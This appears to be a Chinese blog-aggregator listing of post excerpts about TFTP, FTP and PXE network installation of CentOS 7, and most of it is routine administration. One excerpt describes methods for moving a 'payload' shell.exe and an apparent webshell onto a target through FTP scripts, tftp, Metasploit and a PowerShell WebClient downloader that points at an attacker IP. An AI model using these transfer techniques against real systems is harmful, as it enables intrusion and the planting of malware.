tftp

部署

ぃ、小莉子 提交于 2019-11-28 04:05:41
1. 首先做好环境 确定能连网 systemctl stop firewalld setenforce 0 2.部署FTP 1、安装FTP服务,并将安装源复制到/var/ftp/centos7目录下: [root@pxe ~]# yum -y install vsftpd [root@pxe ~]# rpm -q vsftpd vsftpd-3.0.2-10.el7.x86_64 [root@pxe ~]# mkdir /var/ftp/centos7 [root@pxe ~]# cp -ar /media/* /var/ftp/centos7/ [root@pxe ~]# du /var/ftp/centos7/ 2508 /var/ftp/centos7/EFI/BOOT/fonts 6028 /var/ftp/centos7/EFI/BOOT 6032 /var/ftp/centos7/EFI 85652 /var/ftp/centos7/images/pxeboot 91924 /var/ftp/centos7/images 86028 /var/ftp/centos7/isolinux 286188 /var/ftp/centos7/LiveOS 3832540 /var/ftp/centos7/Packages 13236 /var/ftp/centos7

文件传输协议---TFTP

假装没事ソ 提交于 2019-11-28 03:32:40
简介   TFTP协议全称为简单文件传输协议,是以UDP为基础的应用层协议,主要用于不同设备之间的文件传输。具有协议简单,易于实现的特点,常用于嵌入式设备开发中。 传输模式   数据的存储有不同的格式,磁盘中相同的一块数据,通过不同的存储协议解析,得到的内容是完全不同的,如:磁盘中的一个字节0x65,按照ASCII解析就是字母A,按照数据本身解析就是0x65这个数,两种解析的方式显示的内容完全不同。因此文件在传输的过程中也需要指明数据的表示方式,即传输模式。TFTP协议的传输模式如下所示: 模式名称 模式含义 说明 netascii 文本传输模式,按照一个字节8位解析 文本模式 octet 二进制模式,数据无需解析 二进制模式 mail 已过时,不使用 已过时 协议格式   TFTP共定义了五种类型的包格式,格式的区分由包数据前两个字节的Opcode字段区分,分别是: 读文件请求包:Read request,简写为RRQ,对应Opcode字段值为1 写文件请求包:Write requst,简写为WRQ,对应Opcode字段值为2 文件数据包:Data,简写为DATA,对应Opcode字段值为3 回应包:Acknowledgement,简写为ACK,对应Opcode字段值为4 错误信息包:Error,简写为ERROR,对应Opcode字段值为5 读文件请求包 2字节 字符串 1字节

Centos7下无人值守安装部署(PXE + DHCP+TFTP+ Kickstart+FTP)

♀尐吖头ヾ 提交于 2019-11-28 03:01:16
一、PXE服务简介: PXE(preboot execute environment)是由Intel公司开发的最新技术,工作于Client/Server的网络模式,支持工作站通过网络从远端服务器下载映像,并由此支持来自网络的操作系统的启动过程,其启动过程中,终端要求服务器分配IP地址,再用TFTP(trivial file transfer protocol)或MTFTP(multicast trivial file transfer protocol)协议下载一个启动软件包到本机内存中并执行,由这个启动软件包完成终端基本软件设置,从而引导预先安装在服务器中的终端操作系统。在Linux中有多种的安装方式:HD、USB、CDROM、PXE及远程管理卡等。在我们的系统运维的生涯中,经常要安装操作系统,然而我们维护的机器不是一两台而已,一般的企业服务器数量都在几十、几百、几千、甚至上万台。这么多的机器,如果人工的一台一台去安装,那我们这些运维人员,可能要把大部分时间都花费在了安装系统上,所以,我们一般都会建立一个PXE服务器,通过网络来批量部署系统。 二、PXE部署系统自动化安装流程 (1) 设置拥有pex功能的客户端主机开机启动项为网络启动,一般默认都此选项,如果没有可自行设置bios启动项 (2) 客户端开机之后进入网络启动,此时客户端没有IP地址需要发送广播报文

PXE高效能批量网络装机

流过昼夜 提交于 2019-11-28 02:42:44
1、IP地址配置如下: 1、主机名、防火墙以及selinux状态如下 三、部署FTP服务 1、安装FTP服务,并将安装源复制到/var/ftp/centos7目录下: [root@pxe ~]# yum -y install vsftpd [root@pxe ~]# rpm -q vsftpd vsftpd-3.0.2-10.el7.x86_64 [root@pxe ~]# mkdir /var/ftp/centos7 [root@pxe ~]# cp -ar /media/* /var/ftp/centos7/ [root@pxe ~]# du /var/ftp/centos7/ 2508 /var/ftp/centos7/EFI/BOOT/fonts 6028 /var/ftp/centos7/EFI/BOOT 6032 /var/ftp/centos7/EFI 85652 /var/ftp/centos7/images/pxeboot 91924 /var/ftp/centos7/images 86028 /var/ftp/centos7/isolinux 286188 /var/ftp/centos7/LiveOS 3832540 /var/ftp/centos7/Packages 13236 /var/ftp/centos7/repodata 4315992 /var

文件传输的几种常用方法

感情迁移 提交于 2019-11-28 02:22:10
文件传输的常用方式:http、wget、ftp、tftp、powershell ... apt-get install python-pyftpdlib python -m pyftpdlib -p 22 ftp 127.0.0.1 用户名:anonymous 密码为空 服务端我们可以看到连接信息 通过get 将文件下载到客户端 使用ftp下载payload echo 导出的命令 open 192.168.88.174 anonymous binary get shell.exe bye ftp -s:ftp.txt -s 参数 读取 包含ftp 命令的文件 执行命令 payload 成功 下载 到本地 msf use auxiliary/server/ftp tftp atftpd --daemon --port 69 /root tftp 在 win xp 和 2003 上是可以使用的 客户端 tftp -i 192.168.88.174 get shell.exe powershell echo $storage = $pwd > get.ps1 echo $webclient = New-Object System.Net.Webclient >> get.ps1 echo $url = "http://192.168.88.174/yjh.php" >> get.ps1

PXE高效能批量网络装机

孤街浪徒 提交于 2019-11-28 01:23:22
PXE简介 PXE:Pre-boot Excution Environment,预启动执行环境 PXE 是由 Intel 公司开发的网络引导技术,工作在 Client / Server 模式,允许客户机通过网络从远程服务器 下载引导镜像,并加载安装文件或者整个操作系统。 若要搭载 PXE 网络体系,必须要满足以下条件: ●客户机的网卡支持 PXE 协议(集成 BOOTROM 芯片),且主板支持网络引导。 ●网络中有一台 DHCP 服务器,以便为客户机分配地址、指定引导文件位置。 服务器通过TFTP(Trivial File Transfer Protocol)简单文件传输协议提供引导镜像文件的下载。 一、环境准备 1.1、硬件环境准备 角色 主机名/域名 IP地址 服务 备注 服务器 pxe.yunban.cn 192.168.2.10/24 ftp/tftp/dhcp/pxe/syslinux 客户端 自动获取 1.2、软件环境准备 软件名称 类型 版本 备注 CentOS 操作系统 7.0或以上版本 vsftp 应用软件 3.0或以上版本 dhcp 应用软件 4.0或以上版本 syslinux 应用软件 5.2或以上版本 tftp-server 应用软件 5.2或以上版本 1.3、注意事项 1) 为每台服务器安装操作系统,服务器安装CentOS 7.0系统,主机名与设计保持一致

PXE 无人值守批量部署 Centos 7

牧云@^-^@ 提交于 2019-11-28 00:50:52
PXE远程服务器(192.168.1.10)所需准备: 安装源(系统盘文件); TFTP服务; DHCP服务; Linux内核; 能够向客户机裸机发送PXE引导程序; 启动菜单及无人应答文件; 客户端要具备: 客户端的网卡支持PXE协议,且主板支持网络引导(现在大多数都支持); 设置BIOS允许从Network或LAN启动; 配置 yum 仓库源,并安装 ftp 服务: [root@localhost /]# rm -rf /etc/yum.repos.d/* # 个人自定义 yum 仓库,如果觉得还有用的话把它复制到另一个目录中备份起来 [root@localhost /]# vim /etc/yum.repos.d/a.repo [yum] // 仓库类别,自定义名称 name=yum //仓库名称(说明) baseurl=file:///media // URL 访问路径,可以是 ftp 、http gpgcheck=0 // 不验证软件包的签名 1为验证 enabled=1 // 启用此软件仓库,可省略 gpgkey=file:/// // GPG 公钥的位置,可省略 [root@localhost /]# yum -y install vsftpd* 准备 centos 安装源 [root@localhost /]# mkdir /var/ftp/centos7

思科模拟器交换机路由器常用命令

空扰寡人 提交于 2019-11-27 21:22:17
路由器命令 1,路由器口令设置: 2,路由器配置: 3,路由器文件操作: 4,静态路由: 5,动态路由: 6,帧中继命令: 7,基本访问控制列表: 例1: 例2: 扩展访问控制列表: 例1: 例2: 删除访问控制例表: 路由器的nat配置 外部网关协议配置 配置PPP验证: 8,路由器子接口封装为8021Q (补充) 交换机常用命令 交换机基本状态: 交换机口令设置: 交换机VLAN设置: 交换机设置IP地址: 交换机显示命令: 交换机VLAN设置: 路由器命令 1,路由器口令设置: router>enable 进入特权模式 router#config terminal 进入全局配置模式 router(config)#hostname 设置交换机的主机名 router(config)#enable secret xxx 设置特权加密口令 router(config)#enable password xxb 设置特权非密口令 router(config)#line console 0 进入控制台口 router(config-line)#line vty 0 4 进入虚拟终端 router(config-line)#login 要求口令验证 router(config-line)#password xx 设置登录口令xx router(config)#(Ctrl+z) 返回特权模式

tftp协议的实现

痞子三分冷 提交于 2019-11-26 17:42:15
tftp协议是一种简单的文件传输协议,基于udp,使用端口号69.因为传输层协议使用的udp,因此tftp协议为了保证传输的可靠性,使用了一些手段,比如超时重传,数据块号确认。 tftp协议有两种传输模式,分别是二进制文件传输和文本文件传输模式。可以这样理解,除了文本文件都是二进制文件,传输模式的主要区别在于,文本文件由于是ascii码组成,所以可以认为8位数据中的第一位不重要。二进制文件表示8位数据中的所有位都重要。 协议默认数据块大小512,后续协议支持协商块大小。超时重传时间,模型为典型的cs模型,其中客户端主动发起请求下载或者上传文件。收到数据的一方(不管客户端还是服务器)都会对数据表进行确认,给对端发送确认报文。一共有五种报文类型。分别是读请求报文,写请求报文,数据报文,应答报文,错误报文。操作码用来区别这五种报文。客户端的请求主要是读请求与写请求。用于向客户端请求上传或者下载文件。区分的标记是操作码,short型的数字 1与2.需要注意的是,在发送之前,需要对该字段进行大小端转换,可以这么说,凡是数据类型不是char类型的,都需要进行大小端转换,这里的操作码和后面的block号都需要进行大小端转换。数据报文的操作码为3,然后就是数据的块号,用于对数据的计数。然后就是数据部分。对于回应报文也就是ack报文,只有四字节包括操作码4和回应的块号两字节